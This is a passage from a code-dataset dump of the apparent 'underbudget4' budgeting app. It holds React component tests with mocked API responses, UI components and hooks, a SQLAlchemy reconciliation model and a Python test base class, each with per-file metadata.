'react-query';\n\nimport setSelectedLedger from 'common/utils/setSelectedLedger';\nimport renderWithRouter from 'test/renderWithRouter';\nimport TransactionDetailsList from '../TransactionDetailsList';\n\nconst accounts = {\n categories: [\n {\n id: 1,\n name: 'Category 1',\n accounts: [\n { id: 1, name: 'Account 1' },\n { id: 2, name: 'Account 2' },\n ],\n },\n {\n id: 2,\n name: 'Category 2',\n accounts: [],\n },\n {\n id: 3,\n name: 'Category 3',\n accounts: [\n { id: 3, name: 'Account 3' },\n { id: 4, name: 'Account 4' },\n ],\n },\n ],\n};\n\nconst envelopes = {\n categories: [\n {\n id: 1,\n name: 'Category 1',\n envelopes: [],\n },\n {\n id: 2,\n name: 'Category 2',\n envelopes: [\n { id: 1, name: 'Envelope 1' },\n { id: 2, name: 'Envelope 2' },\n { id: 3, name: 'Envelope 3' },\n ],\n },\n {\n id: 3,\n name: 'Category 3',\n envelopes: [{ id: 4, name: 'Envelope 4' }],\n },\n ],\n};\n\nconst render = (transaction, code = 200) => {\n configure({ defaultHidden: true });\n\n setSelectedLedger('2');\n\n const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } });\n\n const mockAxios = new MockAdapter(axios);\n mockAxios.onGet('/api/ledgers/2').reply(200, { currency: 840 });\n mockAxios.onGet('/api/transactions/7').reply(code, transaction);\n mockAxios.onGet('/api/ledgers/2/account-categories').reply(200, accounts);\n mockAxios.onGet('/api/ledgers/2/envelope-categories').reply(200, envelopes);\n\n return {\n ...renderWithRouter(\n <QueryClientProvider client={queryClient}>\n <TransactionDetailsList id={7} />\n </QueryClientProvider>,\n ),\n mockAxios,\n queryClient,\n };\n};\n\ntest('should display error message if unable to fetch transaction', async () => {\n render({}, 404);\n expect(screen.getByRole('progressbar')).toBeInTheDocument();\n await waitFor(() => expect(screen.queryByRole('progressbar')).not.toBeInTheDocument());\n expect(screen.getByText(/unable to retrieve transaction details/i)).toBeInTheDocument();\n});\n\ntest('should display income transaction', async () => {\n const incomeTransaction = {\n payee: 'Vendor Name',\n recordedDate: '2021-05-10',\n accountTransactions: [{ id: 1, accountId: 2, memo: '', cleared: false, amount: 1450 }],\n envelopeTransactions: [{ id: 2, envelopeId: 3, memo: '', amount: 1450 }],\n };\n\n render(incomeTransaction);\n\n await waitFor(() => expect(screen.queryByRole('progressbar')).not.toBeInTheDocument());\n\n const items = screen.queryAllByRole('listitem');\n expect(items).toHaveLength(5);\n expect(items[0]).toHaveTextContent('Vendor Name2021-05-10');\n expect(items[1]).toHaveTextContent('Accounts');\n expect(items[2]).toHaveTextContent('Category 1:Account 2$14.50');\n expect(items[3]).toHaveTextContent('Envelopes');\n expect(items[4]).toHaveTextContent('Category 2:Envelope 3$14.50');\n});\n\ntest('should display simple expense transaction', async () => {\n const simpleExpenseTransaction = {\n payee: 'Vendor Name',\n recordedDate: '2021-05-10',\n accountTransactions: [{ id: 1, accountId: 4, memo: '', amount: -314159 }],\n envelopeTransactions: [{ id: 2, envelopeId: 1, memo: '', amount: -314159 }],\n };\n\n render(simpleExpenseTransaction);\n\n await waitFor(() => expect(screen.queryByRole('progressbar')).not.toBeInTheDocument());\n\n const items = screen.queryAllByRole('listitem');\n expect(items).toHaveLength(5);\n expect(items[0]).toHaveTextContent('Vendor Name2021-05-10');\n expect(items[1]).toHaveTextContent('Accounts');\n expect(items[2]).toHaveTextContent('Category 3:Account 4-$3,141.59');\n expect(items[3]).toHaveTextContent('Envelopes');\n expect(items[4]).toHaveTextContent('Category 2:Envelope 1-$3,141.59');\n});\n\ntest('should display split expense transaction', async () => {\n const splitExpenseTransaction = {\n payee: 'Vendor Name',\n recordedDate: '2021-05-10',\n accountTransactions: [{ id: 1, accountId: 1, memo: '', amount: -10000 }],\n envelopeTransactions: [\n { id: 2, envelopeId: 2, memo: 'Memo 1', amount: -7500 },\n { id: 3, envelopeId: 4, memo: 'Memo 2', amount: -2500 },\n ],\n };\n\n render(splitExpenseTransaction);\n\n await waitFor(() => expect(screen.queryByRole('progressbar')).not.toBeInTheDocument());\n\n const items = screen.queryAllByRole('listitem');\n expect(items).toHaveLength(6);\n expect(items[0]).toHaveTextContent('Vendor Name2021-05-10');\n expect(items[1]).toHaveTextContent('Accounts');\n expect(items[2]).toHaveTextContent('Category 1:Account 1-$100.00');\n expect(items[3]).toHaveTextContent('Envelopes');\n expect(items[4]).toHaveTextContent('Category 2:Envelope 2Memo 1-$75.00');\n expect(items[5]).toHaveTextContent('Category 3:Envelope 4Memo 2-$25.00');\n});\n\ntest('should display transfer transaction', async () => {\n const transferTransaction = {\n payee: 'Vendor Name',\n recordedDate: '2021-05-10',\n accountTransactions: [\n { id: 1, accountId: 3, memo: '', cleared: true, amount: 87654 },\n { id: 2, accountId: 4, memo: '', amount: -87654 },\n ],\n envelopeTransactions: [],\n };\n\n render(transferTransaction);\n\n await waitFor(() => expect(screen.queryByRole('progressbar')).not.toBeInTheDocument());\n\n const items = screen.queryAllByRole('listitem');\n expect(items).toHaveLength(4);\n expect(items[0]).toHaveTextContent('Vendor Name2021-05-10');\n expect(items[1]).toHaveTextContent('Accounts');\n expect(items[2]).toHaveTextContent('Category 3:Account 3$876.54');\n expect(items[3]).toHaveTextContent('Category 3:Account 4-$876.54');\n});\n\ntest('should display allocation transaction', async () => {\n const allocationTransaction = {\n payee: 'Vendor Name',\n recordedDate: '2021-05-10',\n accountTransactions: [],\n envelopeTransactions: [\n { id: 2, envelopeId: 2, memo: '', amount: -1500 },\n { id: 3, envelopeId: 1, memo: '', amount: 1500 },\n ],\n };\n\n render(allocationTransaction);\n\n await waitFor(() => expect(screen.queryByRole('progressbar')).not.toBeInTheDocument());\n\n const items = screen.queryAllByRole('listitem');\n expect(items).toHaveLength(4);\n expect(items[0]).toHaveTextContent('Vendor Name2021-05-10');\n expect(items[1]).toHaveTextContent('Envelopes');\n expect(items[2]).toHaveTextContent('Category 2:Envelope 2-$15.00');\n expect(items[3]).toHaveTextContent('Category 2:Envelope 1$15.00');\n});\n" }, { "alpha_fraction": 0.5274285674095154, "alphanum_fraction": 0.5565714240074158, "avg_line_length": 21.435897827148438, "blob_id": "f64b248f235b59293e89f690ae193bfb53b66948", "content_id": "c8af09560b2793073af7aa20ddaa278834a7ee6e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1750, "license_type": "permissive", "max_line_length": 81, "num_lines": 78, "path": "/webapp/src/test/setupMockApi.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import axios from 'axios';\nimport MockAdapter from 'axios-mock-adapter';\n\nconst accountCategories = {\n categories: [\n {\n id: 1,\n name: 'Category 1',\n accounts: [\n { id: 1, name: 'Account 1' },\n { id: 2, name: 'Account 2' },\n ],\n },\n {\n id: 2,\n name: 'Category 2',\n accounts: [],\n },\n {\n id: 3,\n name: 'Category 3',\n accounts: [\n { id: 3, name: 'Account 3' },\n { id: 4, name: 'Account 4' },\n ],\n },\n ],\n};\nconst envelopeCategories = {\n categories: [\n {\n id: 1,\n name: 'Category 1',\n envelopes: [{ id: 1, name: 'Envelope 1' }],\n },\n {\n id: 2,\n name: 'Category 2',\n envelopes: [\n { id: 2, name: 'Envelope 2' },\n { id: 3, name: 'Envelope 3' },\n { id: 4, name: 'Envelope 4' },\n ],\n },\n {\n id: 3,\n name: 'Category 3',\n envelopes: [],\n },\n ],\n};\n\nexport default ({\n currency = 840,\n delayResponse = 1000,\n getAccountCategoriesCode = 200,\n getEnvelopeCategoriesCode = 200,\n getLedgerCode = 200,\n ledgerId = 2,\n} = {}) => {\n const mockAxios = new MockAdapter(axios, { delayResponse });\n\n mockAxios.onGet(`/api/ledgers/${ledgerId}`).reply(getLedgerCode, { currency });\n mockAxios\n .onGet(`/api/ledgers/${ledgerId}/account-categories`)\n .reply(getAccountCategoriesCode, accountCategories);\n mockAxios\n .onGet(`/api/ledgers/${ledgerId}/envelope-categories`)\n .reply(getEnvelopeCategoriesCode, envelopeCategories);\n\n return mockAxios;\n};\n\nexport const standardLedgerResponses = [\n ['/api/ledgers/2', { currency: 840 }],\n ['/api/ledgers/2/account-categories', accountCategories],\n ['/api/ledgers/2/envelope-categories', envelopeCategories],\n];\n" }, { "alpha_fraction": 0.7762711644172668, "alphanum_fraction": 0.7762711644172668, "avg_line_length": 25.81818199157715, "blob_id": "df5f6ea7370cf1f924e4422941bed03f75bdb6f4", "content_id": "315e51f69c17faf4ba91cd9877b11750ce0e3b48", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 295, "license_type": "permissive", "max_line_length": 41, "num_lines": 11, "path": "/webapp/src/features/transactions/utils/account-transaction-prop-types.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import PropTypes from 'prop-types';\n\nconst propTypes = PropTypes.shape({\n id: PropTypes.number.isRequired,\n accountId: PropTypes.number.isRequired,\n memo: PropTypes.string.isRequired,\n cleared: PropTypes.bool.isRequired,\n amount: PropTypes.number.isRequired,\n});\n\nexport default propTypes;\n" }, { "alpha_fraction": 0.6900311708450317, "alphanum_fraction": 0.6900311708450317, "avg_line_length": 29.571428298950195, "blob_id": "78dda129f33d0fb35b5d847431f022d4f2583846", "content_id": "4097bf2ccdc0e136d95cd8af73a15ee4dbe47817", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 642, "license_type": "permissive", "max_line_length": 87, "num_lines": 21, "path": "/webapp/src/common/hooks/useSelectedLedgerCurrency.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import currencyCodes from 'currency-codes';\nimport React from 'react';\n\n// This is a violation of my desired import structure, but doing this\n// is better than having useFormatMoney in ledgers or useFetchLedger in common\nimport { useFetchLedger } from 'features/ledgers';\nimport useSelectedLedger from './useSelectedLedger';\n\nexport default () => {\n const id = useSelectedLedger();\n const { data, isLoading } = useFetchLedger({ id });\n\n return React.useMemo(\n () => ({\n currency: data ? currencyCodes.number(data.currency) : currencyCodes.code('USD'),\n isLoading,\n isValid: !!data,\n }),\n [data, isLoading],\n );\n};\n" }, { "alpha_fraction": 0.6614832282066345, "alphanum_fraction": 0.6638755798339844, "avg_line_length": 33.83333206176758, "blob_id": "1bc20f50190ac1370d3bd4905e76800ed496229b", "content_id": "4a696cb778429bddd993c56878327b1023eb45ca", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1672, "license_type": "permissive", "max_line_length": 83, "num_lines": 48, "path": "/backend/underbudget/models/reconciliation.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Reconciliation database models \"\"\"\nfrom werkzeug.exceptions import NotFound\n\nfrom underbudget.database import db\nfrom underbudget.models.account import AccountModel\nfrom underbudget.models.base import AuditModel, CrudModel\n\n\nclass ReconciliationModel(db.Model, AuditModel, CrudModel):\n \"\"\" Reconciliation model \"\"\"\n\n __tablename__ = \"reconciliation\"\n\n id = db.Column(db.Integer, primary_key=True)\n account_id = db.Column(db.Integer, db.ForeignKey(\"account.id\"), nullable=False)\n beginning_balance = db.Column(db.Integer, nullable=False)\n beginning_date = db.Column(db.Date, nullable=False)\n ending_balance = db.Column(db.Integer, nullable=False)\n ending_date = db.Column(db.Date, nullable=False)\n\n transactions = db.relationship(\"AccountTransactionModel\", lazy=\"select\")\n\n @classmethod\n def find_by_account_id(cls, account_id: int, page: int = 1, size: int = 20):\n \"\"\" Queries for reonciliations under the given account ID \"\"\"\n return (\n cls.query.filter_by(account_id=account_id)\n .order_by(cls.ending_date.desc())\n .paginate(page, size)\n )\n\n @classmethod\n def find_last_by_account_id(cls, account_id: int):\n \"\"\" Queries for the last reonciliation under the given account ID \"\"\"\n reconciliation = (\n cls.query.filter_by(account_id=account_id)\n .order_by(cls.ending_date.desc())\n .limit(1)\n .one_or_none()\n )\n if not reconciliation:\n raise NotFound()\n return reconciliation\n\n\nAccountModel.reconciliations = db.relationship(\n \"ReconciliationModel\", cascade=\"delete\", lazy=\"select\"\n)\n" }, { "alpha_fraction": 0.5694356560707092, "alphanum_fraction": 0.587444543838501, "avg_line_length": 35.67441940307617, "blob_id": "92254b058c952eb5e55409c4b3958fd50955fe62", "content_id": "443da1071dbae60d519d1fa60d4edc0c7881a820", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7885, "license_type": "permissive", "max_line_length": 98, "num_lines": 215, "path": "/backend/underbudget/tests/base.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Test case base class \"\"\"\nfrom datetime import datetime\nimport json\nimport unittest\n\nfrom underbudget import app, config, database\n\n\ndef clean_db(db_to_clean):\n \"\"\" Deletes all content in all tables of the given database \"\"\"\n for table in reversed(db_to_clean.metadata.sorted_tables):\n db_to_clean.session.execute(table.delete())\n\n\nclass BaseTestCase(unittest.TestCase):\n \"\"\" Custom base test case \"\"\"\n\n @classmethod\n def setUpClass(cls):\n super().setUpClass()\n cls.app = app.create_app(app_config=config.TestConfig)\n cls.db = database.db\n with cls.app.app_context():\n cls.db.create_all()\n cls.db.session.commit()\n\n @classmethod\n def tearDownClass(cls):\n with cls.app.app_context():\n cls.db.drop_all()\n super().tearDownClass()\n\n def setUp(self):\n super().setUp()\n\n self.client = self.app.test_client()\n self.app_context = self.app.app_context()\n self.app_context.push()\n clean_db(self.db)\n\n def tearDown(self):\n self.db.session.rollback()\n self.app_context.pop()\n\n super().tearDown()\n\n def create_ledger(self, name=\"Ledger Name\", currency=840):\n \"\"\" Creates a ledger resource \"\"\"\n resp = self.client.post(\n \"/api/ledgers\", json={\"name\": name, \"currency\": currency}\n )\n assert resp.status_code == 201\n return json.loads(resp.data).get(\"id\")\n\n def create_account_category(self, ledger_id, name=\"Account Category\"):\n \"\"\" Creates an account category resource \"\"\"\n resp = self.client.post(\n f\"/api/ledgers/{ledger_id}/account-categories\", json={\"name\": name}\n )\n assert resp.status_code == 201\n return json.loads(resp.data).get(\"id\")\n\n def create_account(self, category_id, name=\"Account\"):\n \"\"\" Creates an account resource \"\"\"\n resp = self.client.post(\n f\"/api/account-categories/{category_id}/accounts\", json={\"name\": name}\n )\n assert resp.status_code == 201\n return json.loads(resp.data).get(\"id\")\n\n def create_envelope_category(self, ledger_id, name=\"Envelope Category\"):\n \"\"\" Creates an envelope category resource \"\"\"\n resp = self.client.post(\n f\"/api/ledgers/{ledger_id}/envelope-categories\", json={\"name\": name}\n )\n assert resp.status_code == 201\n return json.loads(resp.data).get(\"id\")\n\n def create_envelope(self, category_id, name=\"Envelope\"):\n \"\"\" Creates an envelope resource \"\"\"\n resp = self.client.post(\n f\"/api/envelope-categories/{category_id}/envelopes\", json={\"name\": name}\n )\n assert resp.status_code == 201\n return json.loads(resp.data).get(\"id\")\n\n def create_budget(self, ledger_id, name=\"Budget\", periods=12):\n \"\"\" Creates a budget \"\"\"\n resp = self.client.post(\n f\"/api/ledgers/{ledger_id}/budgets\", json={\"name\": name, \"periods\": periods}\n )\n assert resp.status_code == 201\n return resp.json.get(\"id\")\n\n def create_active_budget(self, ledger_id, budget_id, year=None):\n \"\"\" Creates an active budget \"\"\"\n if not year:\n year = datetime.now().year\n resp = self.client.post(\n f\"/api/ledgers/{ledger_id}/active-budgets\",\n json={\"budgetId\": budget_id, \"year\": year},\n )\n assert resp.status_code == 201\n return resp.json.get(\"id\")\n\n def create_periodic_income(self, budget_id, amount, name=\"Income\"):\n \"\"\" Creates a budgeted periodic income \"\"\"\n resp = self.client.post(\n f\"/api/budgets/{budget_id}/periodic-incomes\",\n json={\"name\": name, \"amount\": amount},\n )\n assert resp.status_code == 201\n return resp.json.get(\"id\")\n\n def create_periodic_expense(self, budget_id, envelope_id, amount, name=\"Expense\"):\n \"\"\" Creates a budgeted periodic expense \"\"\"\n resp = self.client.post(\n f\"/api/budgets/{budget_id}/periodic-expenses\",\n json={\"envelopeId\": envelope_id, \"name\": name, \"amount\": amount},\n )\n assert resp.status_code == 201\n return resp.json.get(\"id\")\n\n # pylint: disable=too-many-arguments\n def create_annual_expense(\n self, budget_id, envelope_id, amount=0, details=None, name=\"Expense\"\n ):\n \"\"\" Creates a budgeted annual expense \"\"\"\n expense_details = []\n if details:\n for detail_amount in details:\n expense_details.append({\"name\": \"\", \"amount\": detail_amount})\n resp = self.client.post(\n f\"/api/budgets/{budget_id}/annual-expenses\",\n json={\n \"envelopeId\": envelope_id,\n \"name\": name,\n \"amount\": amount,\n \"details\": expense_details,\n },\n )\n assert resp.status_code == 201\n return resp.json.get(\"id\")\n\n def _test_crud_methods_against_non_existent_resource(self, base_url, payload):\n \"\"\"\n Tests that the GET/PUT/DELETE methods against a resource return 404 against invalid IDs\n \"\"\"\n assert self.client.get(f\"{base_url}/not-an-id\").status_code == 404\n assert self.client.get(f\"{base_url}/-1\").status_code == 404\n assert self.client.get(f\"{base_url}/999\").status_code == 404\n\n assert self.client.put(f\"{base_url}/999\", json=payload).status_code == 404\n\n assert self.client.delete(f\"{base_url}/999\").status_code == 404\n\n def _test_resource_is_audited(\n self, post_url, base_url, post_payload, put_payload=None\n ):\n \"\"\"\n Tests that the created and lastUpdated fields of the resource are populated and updated by\n POST and PUT methods\n \"\"\"\n resp = self.client.post(post_url, json=post_payload)\n assert resp.status_code == 201\n resource_id = json.loads(resp.data).get(\"id\")\n\n resp = self.client.get(f\"{base_url}/{resource_id}\")\n assert resp.status_code == 200\n body = json.loads(resp.data)\n created = body.get(\"created\", \"no-created\")\n assert created == body.get(\"lastUpdated\", \"no-lastUpdated\")\n\n if not put_payload:\n put_payload = post_payload\n\n resp = self.client.put(f\"{base_url}/{resource_id}\", json=put_payload)\n assert resp.status_code == 200\n\n body = json.loads(self.client.get(f\"{base_url}/{resource_id}\").data)\n assert body.get(\"created\") == created\n assert body.get(\"lastUpdated\") != created\n\n put_payload[\"created\"] = (\"2021-01-02T00:34:34+0000\",)\n put_payload[\"lastUpdated\"] = (\"2021-01-02T01:34:34+0000\",)\n\n resp = self.client.put(f\"{base_url}/{resource_id}\", json=put_payload)\n assert resp.status_code == 400\n\n body = json.loads(self.client.get(f\"{base_url}/{resource_id}\").data)\n assert body.get(\"created\") == created\n assert body.get(\"lastUpdated\") != \"2021-01-02T01:34:34+0000\"\n\n def _test_resource_is_modifiable(\n self, post_url, base_url, post_payload, put_payload\n ):\n \"\"\" Tests that the resource can be modified \"\"\"\n resp = self.client.post(post_url, json=post_payload)\n assert resp.status_code == 201\n resource_id = json.loads(resp.data).get(\"id\")\n\n resp = self.client.get(f\"{base_url}/{resource_id}\")\n assert resp.status_code == 200\n for key, value in post_payload.items():\n assert resp.json.get(key, f\"{key}-undefined\") == value\n\n assert (\n self.client.put(f\"{base_url}/{resource_id}\", json=put_payload).status_code\n == 200\n )\n\n resp = self.client.get(f\"{base_url}/{resource_id}\")\n assert resp.status_code == 200\n for key, value in put_payload.items():\n assert resp.json.get(key, f\"{key}-undefined\") == value\n" }, { "alpha_fraction": 0.7070484757423401, "alphanum_fraction": 0.7070484757423401, "avg_line_length": 27.375, "blob_id": "a8be82ad1d60ec2b9d8fd51351deec8e59344fa8", "content_id": "09623e61d6044aa4189263cc762ac109902bf88c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 908, "license_type": "permissive", "max_line_length": 96, "num_lines": 32, "path": "/webapp/src/common/components/MemoryRouter/MemoryRouter.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import PropTypes from 'prop-types';\nimport React from 'react';\nimport { Router } from 'react-router-dom';\n\n// This is basically the same thing as react-router's MemoryRouter, but\n// uses a provided history instance\n\nconst MemoryRouter = ({ children, history }) => {\n const [state, setState] = React.useState({\n action: history.action,\n location: history.location,\n });\n\n React.useLayoutEffect(() => history.listen(setState), [history]);\n\n return (\n <Router action={state.action} location={state.location} navigator={history}>\n {children}\n </Router>\n );\n};\n\nMemoryRouter.propTypes = {\n children: PropTypes.oneOfType([PropTypes.node, PropTypes.arrayOf(PropTypes.node)]).isRequired,\n history: PropTypes.shape({\n action: PropTypes.string.isRequired,\n listen: PropTypes.func.isRequired,\n location: PropTypes.shape({}).isRequired,\n }).isRequired,\n};\n\nexport default MemoryRouter;\n" }, { "alpha_fraction": 0.7405602931976318, "alphanum_fraction": 0.742996335029602, "avg_line_length": 29.407407760620117, "blob_id": "0b24032bef8474f90fd9121030cf9ece0580d62c", "content_id": "945802dd88cf613dac3639626b8b88078dd85671", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 821, "license_type": "permissive", "max_line_length": 89, "num_lines": 27, "path": "/webapp/src/features/transactions/components/__stories__/TransactionDetailsDialog.stories.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import React from 'react';\nimport { Route, Routes } from 'react-router-dom';\n\nimport TransactionDetailsDialog from '../TransactionDetailsDialog';\nimport * as stories from './TransactionDetailsList.stories';\n\nexport default {\n title: 'transactions/TransactionDetailsDialog',\n component: TransactionDetailsDialog,\n decorators: stories.default.decorators,\n parameters: {\n initialRoute: '/transaction/7',\n viewport: { defaultViewport: 'mobile1' },\n },\n};\n\nconst Template = () => (\n <Routes>\n <Route path='/transaction/:transactionId/*' element={<TransactionDetailsDialog />} />\n </Routes>\n);\n\nexport const GetError = Template.bind({});\nGetError.parameters = stories.GetError.parameters;\n\nexport const SimpleTransaction = Template.bind({});\nSimpleTransaction.parameters = stories.SimpleTransaction.parameters;\n" }, { "alpha_fraction": 0.6783071756362915, "alphanum_fraction": 0.6880733966827393, "avg_line_length": 37.839080810546875, "blob_id": "6a917a2af38c8d0f4c09963e5ee2c1abe7660fca", "content_id": "9fec8cd41ed55e222b04efd5addb652fd75fec92", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 3379, "license_type": "permissive", "max_line_length": 96, "num_lines": 87, "path": "/webapp/src/features/budgets/components/__tests__/CreatePeriodicExpenseDialog.test.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { fireEvent, screen, waitFor } from '@testing-library/react';\nimport userEvent from '@testing-library/user-event';\nimport React from 'react';\nimport { QueryClient, QueryClientProvider } from 'react-query';\n\nimport setSelectedLedger from 'common/utils/setSelectedLedger';\nimport renderWithRouter from 'test/renderWithRouter';\nimport setupMockApi from 'test/setupMockApi';\nimport CreatePeriodicExpenseDialog from '../CreatePeriodicExpenseDialog';\n\nconst render = () => {\n setSelectedLedger('2');\n\n const mockApi = setupMockApi({ delayResponse: 0 });\n const queryClient = new QueryClient();\n\n return {\n ...renderWithRouter(\n <QueryClientProvider client={queryClient}>\n <CreatePeriodicExpenseDialog budgetId={5} />\n </QueryClientProvider>,\n ),\n mockApi,\n queryClient,\n };\n};\n\ntest('should prevent submission when required fields are missing', async () => {\n render();\n expect(screen.getByRole('heading', { name: /create periodic expense/i })).toBeInTheDocument();\n\n const create = screen.getByRole('button', { name: /create/i });\n userEvent.click(create);\n\n await waitFor(() => expect(screen.getAllByText(/required/i)).toHaveLength(2));\n expect(create).toBeDisabled();\n});\n\ntest('should show error message when request error', async () => {\n const { mockApi } = render();\n mockApi.onPost('/api/budgets/5/periodic-expenses').reply(400);\n await waitFor(() => expect(mockApi.history.get.length).toBe(2));\n\n expect(screen.getByRole('heading', { name: /create periodic expense/i })).toBeInTheDocument();\n\n userEvent.type(screen.getByRole('textbox', { name: /name/i }), 'my expense name');\n userEvent.type(screen.getByRole('textbox', { name: /envelope/i }), 'Category 2:Envelope 3');\n fireEvent.change(screen.getByRole('textbox', { name: /amount/i }), {\n target: { value: '$12.34' },\n });\n await waitFor(() => expect(screen.getByRole('button', { name: /create/i })).toBeEnabled());\n\n userEvent.click(screen.getByRole('button', { name: /create/i }));\n await waitFor(() =>\n expect(screen.getByText(/unable to create periodic expense/i)).toBeInTheDocument(),\n );\n});\n\ntest('should close and refresh query when successful create', async () => {\n const { mockApi, queryClient } = render();\n mockApi.onPost('/api/budgets/5/periodic-expenses').reply(201);\n const invalidateQueries = jest.spyOn(queryClient, 'invalidateQueries');\n await waitFor(() => expect(mockApi.history.get.length).toBe(2));\n\n expect(screen.getByRole('heading', { name: /create periodic expense/i })).toBeInTheDocument();\n\n userEvent.type(screen.getByRole('textbox', { name: /name/i }), 'my expense name');\n userEvent.type(screen.getByRole('textbox', { name: /envelope/i }), 'Category 2:Envelope 3');\n fireEvent.change(screen.getByRole('textbox', { name: /amount/i }), {\n target: { value: '$12.34' },\n });\n\n await waitFor(() => expect(screen.getByRole('button', { name: /create/i })).toBeEnabled());\n userEvent.click(screen.getByRole('button', { name: /create/i }));\n\n await waitFor(() =>\n expect(\n screen.queryByRole('heading', { name: /create periodic expense/i }),\n ).not.toBeInTheDocument(),\n );\n expect(JSON.parse(mockApi.history.post[0].data)).toEqual({\n name: 'my expense name',\n envelopeId: 3,\n amount: 1234,\n });\n expect(invalidateQueries).toHaveBeenCalledWith(['budget-periodic-expenses', { budgetId: 5 }]);\n});\n" }, { "alpha_fraction": 0.629522442817688, "alphanum_fraction": 0.6338639855384827, "avg_line_length": 26.276315689086914, "blob_id": "a4d7d31e176a64fba45d39ccce1cf262edf15745", "content_id": "a40c28a3a226ee7be9b09bbf3410fa1c671226d9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2073, "license_type": "permissive", "max_line_length": 97, "num_lines": 76, "path": "/webapp/src/common/components/PureAppBar/PureAppBar.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "/* eslint-disable react/jsx-props-no-spreading */\n\nimport MuiAppBar from '@material-ui/core/AppBar';\nimport IconButton from '@material-ui/core/IconButton';\nimport { makeStyles } from '@material-ui/core/styles';\nimport Toolbar from '@material-ui/core/Toolbar';\nimport Tooltip from '@material-ui/core/Tooltip';\nimport Typography from '@material-ui/core/Typography';\nimport PropTypes from 'prop-types';\nimport React from 'react';\n\nimport actionPropsShape from '../../utils/action-props';\n\nconst useStyles = makeStyles((theme) => ({\n appBar: {\n zIndex: theme.zIndex.drawer + 1,\n },\n navButton: {\n marginRight: theme.spacing(1),\n },\n title: {\n flexGrow: 1,\n },\n}));\n\nconst iterate = (arrayOfProps, func) => {\n if (arrayOfProps) {\n if (Array.isArray(arrayOfProps)) {\n return arrayOfProps.map((p, i) => func(p, i === arrayOfProps.length - 1));\n }\n return func(arrayOfProps, true);\n }\n return null;\n};\n\nconst PureAppBar = ({ actions, navAction, title }) => {\n const classes = useStyles();\n\n return (\n <MuiAppBar className={classes.appBar} position='absolute'>\n <Toolbar>\n {navAction && (\n <IconButton className={classes.navButton} color='inherit' edge='start' {...navAction}>\n {navAction.icon}\n </IconButton>\n )}\n\n <Typography className={classes.title} color='inherit' component='h1' noWrap variant='h6'>\n {title}\n </Typography>\n\n {iterate(actions, ({ fabIcon, ...action }, last) => (\n <Tooltip enterDelay={750} key={action.text} title={action.text}>\n <IconButton color='inherit' edge={last ? 'end' : false} {...action}>\n {action.icon}\n </IconButton>\n </Tooltip>\n ))}\n </Toolbar>\n </MuiAppBar>\n );\n};\n\nPureAppBar.propTypes = {\n actions: PropTypes.oneOfType([actionPropsShape, PropTypes.arrayOf(actionPropsShape)]),\n navAction: actionPropsShape,\n title: PropTypes.string,\n};\n\nPureAppBar.defaultProps = {\n actions: null,\n navAction: null,\n title: 'UnderBudget',\n};\n\nexport default PureAppBar;\n" }, { "alpha_fraction": 0.7981072664260864, "alphanum_fraction": 0.7981072664260864, "avg_line_length": 78.25, "blob_id": "f0c1cb26ade1cf4b2a05a868e17d7b50c049c7dd", "content_id": "32b1c48842baba19cb1f35b1f96fc3677458c278", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 317, "license_type": "permissive", "max_line_length": 88, "num_lines": 4, "path": "/webapp/src/features/envelopes/index.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "export { default as EnvelopeSelectField } from './components/EnvelopeSelectField';\nexport { default as useEnvelopeName } from './hooks/useEnvelopeName';\nexport { default as EnvelopeTransactionsPage } from './routes/EnvelopeTransactionsPage';\nexport { default as EnvelopesListPage } from './routes/EnvelopesListPage';\n" }, { "alpha_fraction": 0.7234042286872864, "alphanum_fraction": 0.7234042286872864, "avg_line_length": 46, "blob_id": "4367b98f641ab728fb2aa2d1677758a2c5701af8", "content_id": "22d8ef5be2546bb64344d339679e36cb77ccb144", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 47, "license_type": "permissive", "max_line_length": 46, "num_lines": 1, "path": "/webapp/src/common/components/EntitySelectField/index.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "export { default } from './EntitySelectField';\n" }, { "alpha_fraction": 0.6146858334541321, "alphanum_fraction": 0.6207418441772461, "avg_line_length": 30.20472526550293, "blob_id": "4287aa02f75451f2cf06bd5df142a21c1eb08b93", "content_id": "871e6a10f51bf7985f5cefe73be3cc6d092156ec", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 3963, "license_type": "permissive", "max_line_length": 94, "num_lines": 127, "path": "/webapp/src/features/reconciliations/components/ReconciliationForm.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import Button from '@material-ui/core/Button';\nimport Grid from '@material-ui/core/Grid';\nimport { makeStyles } from '@material-ui/core/styles';\nimport NextIcon from '@material-ui/icons/NavigateNext';\nimport PrevIcon from 